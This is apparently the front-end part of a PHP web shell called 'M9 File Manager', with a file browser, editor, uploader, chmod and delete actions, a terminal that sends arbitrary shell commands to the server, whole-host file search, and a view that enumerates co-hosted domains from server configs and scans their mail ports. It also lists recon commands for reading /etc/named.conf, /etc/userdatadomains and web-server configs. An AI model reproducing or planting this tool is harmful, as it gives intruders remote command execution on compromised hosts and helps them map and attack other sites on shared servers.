.file-table tr:hover td{background:#030f03}
.file-table tr:last-child td{border-bottom:none}
.folder-link,.file-link{text-decoration:none;display:flex;align-items:center;gap:8px;font-size:13px;font-family:'Courier New',monospace}
.folder-link{color:#39ff14;font-weight:700;text-shadow:0 0 4px rgba(57,255,20,.3)}
.folder-link:hover{color:#fff;text-shadow:none}
.file-link{color:#5a9a5a}
.file-link:hover{color:#c8f7c8}
.icon{font-size:14px;flex-shrink:0}
.td-size{color:#2d5c2d;font-size:12px;font-family:'Courier New',monospace}
.perm-badge{font-family:'Courier New',monospace;font-size:11px;color:#f59e0b;background:#1a1400;border:1px solid #2a2000;padding:3px 8px;border-radius:3px}
.td-date{color:#2d5c2d;font-size:12px;white-space:nowrap;font-family:'Courier New',monospace}
.acts{display:flex;gap:4px;flex-wrap:wrap}
.act{padding:4px 10px;background:#0a1f0a;color:#2d5c2d;border:1px solid #1a3a1a;font-size:11px;cursor:pointer;text-decoration:none;border-radius:3px;transition:all .2s;white-space:nowrap;font-family:'Courier New',monospace}
.act:hover{background:#1a3a1a;color:#39ff14;border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
.act-red{border-color:#5a1a1a;color:#ff6b6b}
.act-red:hover{background:#2a0808;border-color:#ff4444;color:#fff}
.act-unzip{border-color:#1a5c1a;color:#4ade80}
.act-unzip:hover{background:#0a2a0a;border-color:#39ff14;color:#39ff14}
.empty-row td{text-align:center;padding:50px;color:#1a3a1a;font-size:13px;font-family:'Courier New',monospace}
.ext-php{color:#c084fc}.ext-html{color:#fb923c}.ext-js{color:#fbbf24}.ext-css{color:#67e8f9}.ext-sql{color:#f472b6}
.ext-txt,.ext-md{color:#86efac}.ext-json,.ext-xml{color:#6ee7b7}.ext-img{color:#f9a8d4}.ext-archive{color:#d8b4fe}
input[type=text],input[type=search]{background:#000;color:#c8f7c8;border:1px solid #1a3a1a;padding:8px 12px;border-radius:4px;outline:none;font-size:13px;width:260px;font-family:'Courier New',monospace}
input[type=text]:focus,input[type=search]:focus{border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
/* ── SEARCH BAR ──────────────────────────────────────────────── */
.search-form{display:flex;gap:6px;align-items:center;margin-left:auto;flex-wrap:wrap}
.search-form select{background:#000;color:#39ff14;border:1px solid #1a3a1a;border-radius:4px;padding:7px 8px;font-size:12px;font-family:'Courier New',monospace;outline:none;cursor:pointer}
.search-form select:focus{border-color:#39ff14;box-shadow:0 0 6px rgba(57,255,20,.15)}
.search-form input[type=search]{width:220px}
.search-form label.chk{font-size:11px;color:#5a9a5a;display:flex;align-items:center;gap:4px;cursor:pointer;font-family:'Courier New',monospace;letter-spacing:.3px}
.search-form input[type=checkbox]{accent-color:#39ff14}
.search-meta{padding:8px 18px;background:#020902;border-bottom:1px solid #0f230f;font-size:11px;color:#5a9a5a;font-family:'Courier New',monospace;display:flex;justify-content:space-between;align-items:center;gap:10px;flex-wrap:wrap}
.search-meta b{color:#39ff14}
.search-meta .warn{color:#fbbf24}
.search-path-cell{display:flex;flex-direction:column;gap:2px;font-family:'Courier New',monospace}
.search-path-cell .sp-name{color:#c8f7c8;font-size:13px;display:flex;align-items:center;gap:6px}
.search-path-cell .sp-dir{color:#3a6b3a;font-size:11px;word-break:break-all}
.search-path-cell .sp-tag{display:inline-block;font-size:9px;background:#0a1f0a;border:1px solid #1a3a1a;color:#fbbf24;padding:1px 6px;border-radius:3px;letter-spacing:.5px;margin-left:6px;text-transform:uppercase}
mark.kw{background:#39ff14;color:#000;padding:0 2px;border-radius:2px}
@media(max-width:768px){
.toolbar{flex-direction:column}
.btn,.act{width:100%;justify-content:center;text-align:center}
input[type=text],input[type=search]{width:100%}
.search-form{width:100%;margin-left:0}
.search-form input[type=search]{flex:1;width:auto}
.file-table th:nth-child(3),.file-table td:nth-child(3),
.file-table th:nth-child(4),.file-table td:nth-child(4){display:none}
}
</style>
</head>
<body>
<div class="wrap">
<!-- HEADER -->
<div class="hdr">
<div class="hdr-title">
<img src="https://imagedelivery.net/41eGBrMIml4goV0L9eI4Ww/01464b5b-2bc8-49f5-99f7-9f37f3f90f00/public" alt="M9" class="hdr-logo">
<h1>M9</h1>
<span class="tag">FILE MANAGER</span>
</div>
<div class="sys-info">
<?php foreach ($sysInfo as $k => $v): ?>
<span><?=$k?>: <b><?=htmlspecialchars($v)?></b></span>
<?php endforeach; ?>
</div>
<a href="?fm_logout=1" class="hdr-logout">✕ Logout</a>
</div>
<!-- MESSAGE -->
<?php if ($message): ?>
<div class="msg-bar"><?=$message?></div>
<?php endif; ?>
<!-- PATH NAV -->
<div class="path-nav">
<a href="?p=/">⌂ Root</a>
<?php
$parts = explode('/', trim($currentPath, '/'));
$cur = '';
foreach ($parts as $part):
if ($part):
$cur .= '/' . $part;
?>
<span class="path-sep">/</span>
<a href="?p=<?=$cur?>/"><?=htmlspecialchars($part)?></a>
<?php
endif;
endforeach;
?>
</div>
<!-- TOOLBAR -->
<div class="toolbar">
<form method="post" enctype="multipart/form-data" style="display:inline">
<input type="file" name="upload" id="fm-upload" style="display:none" onchange="this.form.submit()">
<button type="button" class="btn btn-primary" onclick="document.getElementById('fm-upload').click()">⇧ Upload</button>
</form>
<button class="btn btn-primary" onclick="newFile()">+ New File</button>
<button class="btn" onclick="newFolder()">+ New Folder</button>
<?php $isCmd = isset($_GET['tab']) && $_GET['tab'] === 'cmd'; ?>
<a href="?p=<?=urlencode($currentPath)?>&tab=cmd"
class="btn btn-cmd <?= $isCmd ? 'btn-tab-active' : '' ?>">▶ CMD</a>
<a href="?p=<?=urlencode($currentPath)?>"
class="btn <?= !$isCmd && !$isSearch && !$isDomains ? 'btn-tab-active' : '' ?>">📁 Files</a>
<a href="?p=<?=urlencode($currentPath)?>&view=domains"
class="btn <?= $isDomains ? 'btn-tab-active' : '' ?>">🔗 Domains</a>
<?php if (isset($_GET['edit'])): ?>
<a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger">← Close Editor</a>
<?php endif; ?>
<!-- ── SEARCH ─────────────────────────────────────────────── -->
<form method="get" class="search-form" role="search">
<input type="hidden" name="p" value="<?=htmlspecialchars($currentPath)?>">
<input type="search" name="q" value="<?=htmlspecialchars($searchQuery)?>" placeholder="🔎 keyword..." autocomplete="off">
<select name="scope" title="Search scope">
<option value="host" <?= $searchScope==='host'?'selected':'' ?>>Whole Host (/)</option>
<option value="here" <?= $searchScope==='here'?'selected':'' ?>>Here</option>
</select>
<label class="chk" title="Also search inside text-like files (slower)">
<input type="checkbox" name="inside" value="1" <?= $searchContent?'checked':'' ?>>
inside
</label>
<button class="btn btn-cmd" type="submit">Search</button>
<?php if ($isSearch): ?>
<a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger" title="Clear search">✕</a>
<?php endif; ?>
</form>
</div>
<!-- CMD TERMINAL -->
<?php if ($isCmd): ?>
<div class="cmd-wrap" id="cmd-panel">
<div class="cmd-title">
▶ Terminal
<span class="cmd-cwd" id="cmd-cwd"><?=htmlspecialchars(@getcwd() ?: '.')?></span>
<button onclick="cmdClear()" class="btn btn-danger" style="font-size:11px;padding:5px 10px">Clear</button>
</div>
<div class="cmd-output" id="cmd-out"><span class="cmd-empty">// type a command and press Enter or Run</span></div>
<div class="cmd-input-row">
<span class="cmd-prompt">$ </span>
<input type="text" id="cmd-in" class="cmd-input" placeholder="id; uname -a; ls -la" autocomplete="off" autocorrect="off" spellcheck="false">
<button class="btn btn-cmd" onclick="cmdRun()">Run</button>
</div>
</div>
<?php endif; ?>
<!-- EDITOR -->
<?php if (isset($_GET['edit'])): ?>
<div class="editor-wrap">
<div class="editor-title">
✎ Editing: <span><?=htmlspecialchars($_GET['edit'])?></span>
</div>
<form method="post">
<input type="hidden" name="save" value="<?=htmlspecialchars($_GET['edit'])?>">
<textarea name="data" spellcheck="false"><?=htmlspecialchars(readFileContent($currentPath . $_GET['edit']))?></textarea>
<div class="editor-actions">
<button class="btn btn-primary">✓ Save</button>
<a href="?p=<?=urlencode($currentPath)?>" class="btn btn-danger">Cancel</a>
</div>
</form>
</div>
<?php elseif ($isSearch): ?>
<!-- ── SEARCH RESULTS ──────────────────────────────────────── -->
<div class="search-meta">
<div>
🔍 <b><?= count($searchResults['results']) ?></b> match<?= count($searchResults['results'])===1?'':'es' ?>
for "<b><?=htmlspecialchars($searchQuery)?></b>"
in <b><?= $searchScope==='host' ? '/ (whole host)' : htmlspecialchars($currentPath) ?></b>
<?php if ($searchContent): ?>· <b>content scan</b><?php endif; ?>
· scanned <?= number_format($searchResults['scanned']) ?> entries in <?= $searchResults['elapsed'] ?>s
</div>
<?php if ($searchResults['truncated']): ?>
<div class="warn">⚠ result limit reached — refine your keyword for more</div>
<?php endif; ?>
</div>
<table class="file-table">
<thead>
<tr>
<th style="width:55%">Match</th>
<th style="width:8%">Size</th>
<th style="width:8%">Perms</th>
<th style="width:13%">Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php if (empty($searchResults['results'])): ?>
<tr class="empty-row"><td colspan="5">No matches found.</td></tr>
<?php else: foreach ($searchResults['results'] as $r):
$perm = substr(sprintf('%o', $r['perm'] ?: 0), -3);
$mtime = $r['mtime'] ? date('Y-m-d H:i', $r['mtime']) : '-';
$dirEnc = urlencode($r['dir']);
$nameEnc= urlencode($r['name']);
$highlighted = preg_replace(
'/(' . preg_quote($searchQuery, '/') . ')/i',
'<mark class="kw">$1</mark>',
htmlspecialchars($r['name'])
);
?>
<tr>
<td>
<div class="search-path-cell">
<span class="sp-name">
<span class="icon"><?= $r['is_dir'] ? '📁' : '📄' ?></span>
<?php if ($r['is_dir']): ?>
<a href="?p=<?=urlencode($r['path'])?>/" class="folder-link" style="display:inline"><?= $highlighted ?></a>
<?php else: ?>
<a href="?p=<?=$dirEnc?>&action=download&item=<?=$nameEnc?>" class="file-link" style="display:inline"><?= $highlighted ?></a>
<?php endif; ?>
<?php if ($r['match'] === 'content'): ?><span class="sp-tag">content</span><?php endif; ?>
</span>
<span class="sp-dir"><?=htmlspecialchars($r['dir'])?></span>
</div>
</td>
<td class="td-size"><?= $r['is_dir'] ? '—' : ($r['size']!==null ? fmSize($r['size']) : '—') ?></td>
<td><span class="perm-badge"><?=$perm?></span></td>
<td class="td-date"><?=$mtime?></td>
<td>
<div class="acts">
<a href="?p=<?=$dirEnc?>" class="act">Open Folder</a>
<?php if (!$r['is_dir']): ?>
<a href="?p=<?=$dirEnc?>&edit=<?=$nameEnc?>" class="act">Edit</a>
<a href="?p=<?=$dirEnc?>&action=download&item=<?=$nameEnc?>" class="act">Download</a>
<?php endif; ?>
<a href="?p=<?=$dirEnc?>&action=delete&item=<?=$nameEnc?>"
onclick="return confirm('Delete: <?=htmlspecialchars(addslashes($r['name']))?>?')"
class="act act-red">Delete</a>
</div>
</td>
</tr>
<?php endforeach; endif; ?>
</tbody>
</table>
<?php elseif ($isDomains): ?>
<!-- ── DOMAINS VIEW ────────────────────────────────────────── -->
<div class="search-meta">
<div>
🔗 <b><?= count($domainList) ?></b> domain<?= count($domainList)===1?'':'s' ?> discovered
· <b><?= $domainDiag['readable'] ?></b>/<?= $domainDiag['checked'] ?> sources readable
· <?= $domainElapsed ?>s
<?php if ($scanPorts): ?>· <b style="color:#fbbf24">mail-port scan on</b><?php endif; ?>
</div>
<div style="display:flex;gap:8px;align-items:center">
<?php if (!empty($domainList)): ?>
<?php if ($scanPorts): ?>
<a href="?p=<?=urlencode($currentPath)?>&view=domains" class="btn btn-danger" style="font-size:11px;padding:5px 10px">✕ Stop port scan</a>
<?php else: ?>
<a href="?p=<?=urlencode($currentPath)?>&view=domains&ports=1" class="btn btn-cmd" style="font-size:11px;padding:5px 10px"
onclick="return confirm('Scan SMTP/IMAP/POP3 ports on '+<?=count($domainList)?>+' domains?\nMax 60s budget.')">🔒 Scan mail ports</a>
<?php endif; ?>
<?php endif; ?>
<?php if (empty($domainList)): ?>
<div class="warn">⚠ no domains found — see diagnostics below</div>
<?php endif; ?>
</div>
</div>
<?php if (empty($domainList)): ?>
<div style="padding:14px 18px;background:#020902;border-bottom:1px solid #0f230f;font-family:'Courier New',monospace;font-size:11px;color:#5a9a5a">
<div style="color:#39ff14;font-weight:700;margin-bottom:8px;letter-spacing:1px">// DIAGNOSTICS</div>
<div style="margin-bottom:6px"><b style="color:#fbbf24">Why nothing showed up:</b> this host has no readable cPanel / Apache / nginx / BIND config in the standard locations, and shell fallbacks (<code>apachectl -S</code>, <code>nginx -T</code>, <code>hostname</code>) returned nothing usable. Common causes:</div>
<ul style="margin:6px 0 10px 22px;color:#7db87d;line-height:1.6">
<li>Not a hosting-panel server (plain VPS / container / dev box) — nothing to enumerate.</li>
<li>PHP runs as a low-priv user and can't read root-owned config files. Current user: <b style="color:#39ff14"><?=htmlspecialchars(@get_current_user())?></b>.</li>
<li><code>open_basedir</code> or <code>disable_functions</code> blocks the reads / shell exec.</li>
</ul>
<div style="margin-bottom:4px;color:#fbbf24"><b>Try in the CMD tab:</b></div>
<pre style="background:#000;border:1px solid #1a3a1a;padding:8px 10px;border-radius:4px;color:#86efac;overflow:auto">id
ls -la /etc/userdatadomains /etc/named.conf /etc/nginx/sites-enabled/ /etc/httpd/conf.d/ 2>&1
apachectl -S 2>&1 ; nginx -T 2>&1 | head -50
hostname -A ; cat /etc/hosts</pre>
<?php if (!empty($domainDiag['denied'])): ?>
<div style="margin-top:10px;color:#ff6b6b"><b>Permission denied (<?=count($domainDiag['denied'])?>):</b></div>
<div style="color:#a8d8a8;max-height:80px;overflow:auto;font-size:10px"><?=htmlspecialchars(implode(' · ', array_slice($domainDiag['denied'], 0, 30)))?><?= count($domainDiag['denied'])>30?' …':'' ?></div>
<?php endif; ?>
<?php if (!empty($domainDiag['missing'])): ?>
<div style="margin-top:10px;color:#3a6b3a"><b>Missing (<?=count($domainDiag['missing'])?>):</b></div>
<div style="color:#2d5c2d;max-height:60px;overflow:auto;font-size:10px"><?=htmlspecialchars(implode(' · ', array_slice($domainDiag['missing'], 0, 20)))?><?= count($domainDiag['missing'])>20?' …':'' ?></div>
<?php endif; ?>
</div>
<?php endif; ?>
<table class="file-table">
<thead>
<tr>
<th style="width:24%">Domain</th>
<th style="width:9%">User</th>
<th style="width:24%">Document Root</th>
<th style="width:9%">IP</th>
<?php if ($scanPorts): ?><th style="width:18%">Mail Ports</th><?php endif; ?>
<th>Source</th>
</tr>
</thead>
<tbody>
<?php if (empty($domainList)): ?>
<tr class="empty-row"><td colspan="<?= $scanPorts ? 6 : 5 ?>">No domains found in known config locations.</td></tr>
<?php else: foreach ($domainList as $d): ?>
<tr>
<td>
<a href="http://<?=htmlspecialchars($d['domain'])?>" target="_blank" rel="noopener" class="folder-link" style="display:inline-flex">
<span class="icon">🔗</span><?=htmlspecialchars($d['domain'])?>
</a>
</td>
<td class="td-size"><?= $d['user'] !== '' ? htmlspecialchars($d['user']) : '—' ?></td>
<td class="td-size">
<?php if ($d['docroot'] !== '' && @is_dir($d['docroot'])): ?>
<a href="?p=<?=urlencode(rtrim($d['docroot'],'/').'/')?>" class="file-link" style="display:inline"><?=htmlspecialchars($d['docroot'])?></a>
<?php else: ?>
<?= $d['docroot'] !== '' ? htmlspecialchars($d['docroot']) : '—' ?>
<?php endif; ?>
</td>
<td class="td-size"><?= $d['ip'] !== '' ? htmlspecialchars($d['ip']) : '—' ?></td>
<?php if ($scanPorts): ?>
<td>
<?php
$ports = isset($d['ports']) ? $d['ports'] : [];
if ($ports === null) {
echo '<span class="perm-badge" style="color:#3a6b3a;background:#0a1a0a;border-color:#1a3a1a">skipped (timeout)</span>';
} elseif (empty($ports)) {
echo '<span class="perm-badge" style="color:#5a1a1a;background:#1a0000;border-color:#2a0808">all closed</span>';
} else {
echo '<div class="acts">';
foreach ($ports as $p => $name) {
echo '<span class="perm-badge" style="color:#39ff14;background:#02180a;border-color:#1a3a1a" title="'.htmlspecialchars($name).'">'.$p.'</span>';
}
echo '</div>';
}
?>
</td>
<?php endif; ?>
<td>
<div class="acts">
<?php foreach ($d['sources'] as $src): ?>
<span class="perm-badge" style="color:#86efac;background:#02180a;border-color:#1a3a1a"><?=htmlspecialchars($src)?></span>
<?php endforeach; ?>
</div>
</td>
</tr>
<?php endforeach; endif; ?>
</tbody>
</table>
<?php else: ?>
<!-- FILE TABLE -->
<table class="file-table">
<thead>
<tr>
<th style="width:40%">Name</th>
<th style="width:8%">Size</th>
<th style="width:10%">Perms</th>
<th style="width:13%">Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php if ($currentPath !== '/'): ?>
<tr>
<td colspan="5">
<a href="?p=<?=urlencode(dirname(rtrim($currentPath,'/')))?>/" class="folder-link">
<span class="icon">↑</span> Parent Directory
</a>
</td>
</tr>
<?php endif; ?>
<?php foreach ($folders as $folder):
$fp = $currentPath . $folder;
$perm = substr(sprintf('%o', @fileperms($fp)), -3);
$mtime = @filemtime($fp) ? date('Y-m-d H:i', @filemtime($fp)) : '-';
?>
<tr>
<td>
<a href="?p=<?=urlencode($fp)?>" class="folder-link">
<span class="icon">📁</span><?=htmlspecialchars($folder)?>
</a>
</td>
<td class="td-size">—</td>
<td><span class="perm-badge"><?=$perm?></span></td>
<td class="td-date"><?=$mtime?></td>
<td>
<div class="acts">
<button onclick="renameItem('<?=htmlspecialchars(addslashes($folder))?>')" class="act">Rename</button>
<button onclick="chmodItem('<?=htmlspecialchars(addslashes($folder))?>','<?=$perm?>')" class="act">Chmod</button>
<a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($folder)?>"
onclick="return confirm('Delete folder and ALL its contents: <?=htmlspecialchars(addslashes($folder))?>?')"
class="act act-red">Delete</a>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file):
$fp = $currentPath . $file;
$size = @filesize($fp);
$perm = substr(sprintf('%o', @fileperms($fp)), -3);
$mtime = @filemtime($fp) ? date('Y-m-d H:i', @filemtime($fp)) : '-';
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
$editable = in_array($ext, ['php','html','htm','js','css','txt','json','xml','sql','md','env','sh','py','rb','ini','conf','htaccess','yaml','yml']);
if ($ext === 'php') $extClass = 'ext-php';
elseif (in_array($ext, ['html','htm'])) $extClass = 'ext-html';
elseif ($ext === 'js') $extClass = 'ext-js';
elseif ($ext === 'css') $extClass = 'ext-css';
elseif ($ext === 'sql') $extClass = 'ext-sql';
elseif (in_array($ext, ['txt','md'])) $extClass = 'ext-txt';
elseif (in_array($ext, ['json','xml','yaml','yml'])) $extClass = 'ext-json';
elseif (in_array($ext, ['jpg','jpeg','png','gif','webp','svg','ico'])) $extClass = 'ext-img';
elseif (in_array($ext, ['zip','tar','gz','rar','7z'])) $extClass = 'ext-archive';
else $extClass = '';
?>
<tr>
<td>
<?php if ($editable): ?>
<a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="file-link <?=$extClass?>">
<span class="icon">📄</span><?=htmlspecialchars($file)?>
</a>
<?php else: ?>
<a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="file-link <?=$extClass?>">
<span class="icon">📄</span><?=htmlspecialchars($file)?>
</a>
<?php endif; ?>
</td>
<td class="td-size"><?=$size !== false ? fmSize($size) : '—'?></td>
<td><span class="perm-badge"><?=$perm?></span></td>
<td class="td-date"><?=$mtime?></td>
<td>
<div class="acts">
<?php if ($editable): ?>
<a href="?p=<?=urlencode($currentPath)?>&edit=<?=urlencode($file)?>" class="act">Edit</a>
<?php endif; ?>
<?php if ($ext === 'zip'): ?>
<a href="?p=<?=urlencode($currentPath)?>&action=unzip&item=<?=urlencode($file)?>"
onclick="return confirm('Extract <?=htmlspecialchars(addslashes($file))?> here?')"
class="act act-unzip">🔖 Unzip</a>
<?php endif; ?>
<a href="?p=<?=urlencode($currentPath)?>&action=download&item=<?=urlencode($file)?>" class="act">Download</a>
<button onclick="renameItem('<?=htmlspecialchars(addslashes($file))?>')" class="act">Rename</button>
<button onclick="chmodItem('<?=htmlspecialchars(addslashes($file))?>','<?=$perm?>')" class="act">Chmod</button>
<a href="?p=<?=urlencode($currentPath)?>&action=delete&item=<?=urlencode($file)?>"
onclick="return confirm('Delete: <?=htmlspecialchars(addslashes($file))?>?')"
class="act act-red">Delete</a>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php if (empty($folders) && empty($files)): ?>
<tr class="empty-row">
<td colspan="5">📁 This directory is empty</td>
</tr>
<?php endif; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<script>
function newFile() {
var n = prompt('File name:', 'newfile.txt');
if (!n) return;
var c = prompt('Initial content (optional):', '');
var f = document.createElement('form'); f.method = 'post';
f.innerHTML = '<input type="hidden" name="new" value="' + n + '">' +
'<input type="hidden" name="content" value="' + (c||'') + '">';
document.body.appendChild(f); f.submit();
}
function newFolder() {
var n = prompt('Folder name:', 'newfolder');
if (!n) return;
var f = document.createElement('form'); f.method = 'post';
f.innerHTML = '<input type="hidden" name="new" value="' + n + '">' +
'<input type="hidden" name="type" value="dir">';
document.body.appendChild(f); f.submit();
}
function renameItem(old) {
var nw = prompt('New name:', old);
if (!nw || nw === old) return;
var f = document.createElement('form'); f.method = 'post';
f.innerHTML = '<input type="hidden" name="oldname" value="' + old + '">' +
'<input type="hidden" name="newname" value="' + nw + '">';
document.body.appendChild(f); f.submit();
}
function chmodItem(item, cur) {
var p = prompt('Permissions (e.g. 755):', cur);
if (!p) return;
var f = document.createElement('form'); f.method = 'post';
f.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
'<input type="hidden" name="chmod_value" value="' + p + '">';
document.body.appendChild(f); f.submit();
}
/* ── CMD TERMINAL ─────────────────────────────────────────────────────── */
var _cmdHistory = [], _cmdHistIdx = -1;
function cmdEscape(s){return s.replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>');}
function cmdAppend(prompt, output) {
var box = document.getElementById('cmd-out');
var ph = box.querySelector('.cmd-empty'); if (ph) ph.parentNode.removeChild(ph);
var lineIn = document.createElement('div');
lineIn.className = 'cmd-line-in'; lineIn.textContent = '$ ' + prompt;
box.appendChild(lineIn);
if (output !== '') {
var lineOut = document.createElement('div');
lineOut.className = 'cmd-line-out'; lineOut.textContent = output;
box.appendChild(lineOut);
}
box.scrollTop = box.scrollHeight;
}
function cmdRun() {
var inp = document.getElementById('cmd-in');
var cmd = inp.value.trim(); if (!cmd) return;
_cmdHistory.unshift(cmd); _cmdHistIdx = -1;
inp.value = ''; inp.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('POST', '?ajax_cmd=1', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
inp.disabled = false; inp.focus();
var out = '';
try {
var r = JSON.parse(xhr.responseText);
out = r.out || '';
if (r.cwd) { var el = document.getElementById('cmd-cwd'); if (el) el.textContent = r.cwd; }
} catch(e) { out = xhr.responseText; }
cmdAppend(cmd, out.replace(/\n$/, ''));
}
};
xhr.send('c=' + encodeURIComponent(cmd));
}
function cmdClear() {
var box = document.getElementById('cmd-out');
box.innerHTML = '<span class="cmd-empty">// cleared</span>';
}
(function() {
document.addEventListener('DOMContentLoaded', function() {
var inp = document.getElementById('cmd-in'); if (!inp) return;
inp.focus();
inp.addEventListener('keydown', function(e) {
if (e.key === 'Enter') { e.preventDefault(); cmdRun(); }
else if (e.key === 'ArrowUp') {
e.preventDefault();
if (_cmdHistIdx < _cmdHistory.length - 1) { _cmdHistIdx++; inp.value = _cmdHistory[_cmdHistIdx]; }
} else if (e.key === 'ArrowDown') {
e.preventDefault();
if (_cmdHistIdx > 0) { _cmdHistIdx--; inp.value = _cmdHistory[_cmdHistIdx]; }
else { _cmdHistIdx = -1; inp.value = ''; }
}
});
});
})();
</script>
</body>
</html>